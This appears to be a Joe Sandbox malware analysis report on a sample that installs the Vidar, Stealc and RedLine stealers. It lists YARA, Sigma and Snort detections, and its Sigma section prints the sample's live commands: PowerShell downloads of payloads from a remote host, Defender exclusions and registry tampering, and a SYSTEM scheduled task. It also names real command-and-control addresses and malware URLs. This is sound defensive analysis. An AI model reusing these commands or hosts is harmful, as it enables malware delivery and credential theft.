Process Memory Space: u5do.0.exe PID: 2968	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: u5do.0.exe PID: 2968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: u5do.0.exe PID: 2968	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: run.exe PID: 4180	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: cmd.exe PID: 1292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cmd.exe PID: 1292	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: cmd.exe PID: 1292	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.u5do.0.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.u5do.0.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
8.3.u5do.0.exe.40e0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.3.u5do.0.exe.40e0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
8.3.u5do.0.exe.40e0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.3.u5do.0.exe.40e0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
8.2.u5do.0.exe.40a0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.u5do.0.exe.40a0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
11.2.run.exe.3521d5b.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.run.exe.3521d5b.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d0fe:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d189:$s1: CoGetObject 0x1d0e2:$s2: Elevation:Administrator!new:
12.2.cmd.exe.58c5264.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.cmd.exe.58c5264.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dcfe:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd89:$s1: CoGetObject 0x1dce2:$s2: Elevation:Administrator!new:
12.2.cmd.exe.63000c8.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.cmd.exe.63000c8.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.cmd.exe.63000c8.8.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
8.2.u5do.0.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.u5do.0.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
11.2.run.exe.34dd86d.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.run.exe.34dd86d.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x615ec:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x61677:$s1: CoGetObject 0x615d0:$s2: Elevation:Administrator!new:
8.2.u5do.0.exe.40a0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.u5do.0.exe.40a0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.cmd.exe.63000c8.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.cmd.exe.63000c8.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.cmd.exe.63000c8.8.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
11.2.run.exe.352115b.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.run.exe.352115b.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dcfe:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd89:$s1: CoGetObject 0x1dce2:$s2: Elevation:Administrator!new:
12.2.cmd.exe.58c5e64.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.cmd.exe.58c5e64.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d0fe:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d189:$s1: CoGetObject 0x1d0e2:$s2: Elevation:Administrator!new:
12.2.cmd.exe.5881976.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.cmd.exe.5881976.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x615ec:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x61677:$s1: CoGetObject 0x615d0:$s2: Elevation:Administrator!new:
17.0.u5do.3.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt", CommandLine: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\forfiles.exe, NewProcessName: C:\Windows\SysWOW64\forfiles.exe, OriginalFileName: C:\Windows\SysWOW64\forfiles.exe, ParentCommandLine: .\Install.exe /EdidWTW "385128" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe, ParentProcessId: 5952, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt", ProcessId: 4448, ProcessName: forfiles.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: <, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5348, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 5912, ProcessName: WMIC.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", CommandLine: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", ProcessId: 5756, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5756, TargetFilename: C:\Users\user\AppData\Local\Temp\i2.bat

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /EdidWTW "385128" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe, ParentProcessId: 5952, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F, ProcessId: 3836, ProcessName: schtasks.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5756, TargetFilename: C:\Users\user\AppData\Local\Temp\i2.bat

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", ProcessId: 3408, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", ProcessId: 3408, ProcessName: powershell.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 2668, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3A58.tmp

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: .\Install.exe /EdidWTW "385128" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe, ParentProcessId: 5952, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powers

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe, ProcessId: 2636, TargetFilename: C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", ProcessId: 3408, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')", ProcessId: 3408, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2668, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Set custom UserAgent and download file via Powershell

Source: Process started

Author: Joe Security: Data: Command: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", CommandLine: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2704, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')", ProcessId: 5756, ProcessName: powershell.exe

Snort Signatures

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/26/24-11:06:08.386142
SID:	2044246
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/26/24-11:06:08.736331
SID:	2051831
Source Port:	80
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) - Source IP: 192.168.2.5 - Destination IP: 185.172.128.90

Timestamp:	04/26/24-11:06:02.375304
SID:	2856233
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/26/24-11:06:08.008281
SID:	2044244
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.172.128.76

Timestamp:	04/26/24-11:06:07.450844
SID:	2044243
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.76 - Destination IP: 192.168.2.5

Timestamp:	04/26/24-11:06:08.360675
SID:	2051828
Source Port:	80
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: https://monoblocked.com/385128/setup.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.228/ping.php?substr=one	Avira URL Cloud: Label: malware
Source: http://185.172.128.203/tiktok.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.90/cpa/ping.php?substr=one&s=ab&sub=28381000	Avira URL Cloud: Label: malware
Source: http://185.172.128.59/syncUpd.exe	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Multi AV Scanner detection for domain / URL

Source: env-3936544.jcloud.kz	Virustotal: Detection: 5%	Perma Link
Source: monoblocked.com	Virustotal: Detection: 16%	Perma Link
Source: c.574859385.xyz	Virustotal: Detection: 8%	Perma Link
Source: http://185.172.128.228/BroomSetup.exe	Virustotal: Detection: 22%	Perma Link
Source: https://monoblocked.com/385128/setup.exe	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.59/ISetup1.exe	Virustotal: Detection: 19%	Perma Link
Source: http://185.172.128.228/ping.php?substr=one	Virustotal: Detection: 18%	Perma Link
Source: http://185.172.128.203/tiktok.exe00	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.76/3cd2b41cbde8fc9c.php	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.203/tiktok.exe	Virustotal: Detection: 19%	Perma Link
Source: http://185.172.128.76/15f649199f40275b/sqlite3.dll	Virustotal: Detection: 8%	Perma Link
Source: http://185.172.128.59/syncUpd.exe	Virustotal: Detection: 22%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\tiktok[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\hmgv	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll	ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 21%
Source: file.exe	Virustotal: Detection: 33%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetProcAddress
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: LoadLibraryA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: lstrcatA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: OpenEventA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateEventA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CloseHandle
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Sleep
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: VirtualFree
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: VirtualAlloc
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HeapAlloc
